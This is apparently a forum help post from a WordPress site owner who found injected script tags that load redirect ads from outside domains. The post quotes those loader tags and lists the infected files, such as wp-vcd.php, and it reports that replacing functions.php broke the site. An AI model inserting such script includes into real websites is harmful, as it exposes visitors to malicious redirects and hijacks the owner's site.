Malware Script

I found this malware script on my website:
<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2466565"></script>

Sometimes when I click anywhere on my page a new tab opens and loads an ad after redirection;

This is the page of my website. It is spread all over my site. How do I fix this?

https://www.wentdiary.com/top-17-things-to-do-in-oklahoma-city/

I just ran Site Scan and it detected 3 files that include that java script:

Please check the results: https://sitecheck.sucuri.net/results/https/www.wentdiary.com/top-17-things-to-do-in-oklahoma-city/

This is the full code of malware script that I found:

<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2466565"></script>
<script src="//joophesh.com/ntfc.php?p=2497056&tco=1" data-cfasync="false" async></script>

I replaced the existing functions.php file with the fresh one from theme files and suddenly my whole website has stopped working. https://www.wentdiary.com

I did this to remove injected malware from my website. I also removed these malware files from wp-includes includes/wp-vcd.php, wp-includes/class.wp.php, wp-includes/wp-feed.php, wp-includes/wp-tmp.php

Did i have to overwrite functions.php file to get rid of the malware completely? I can’t access a single page or post of my website after overwriting functions.php not even the login page. What do I do?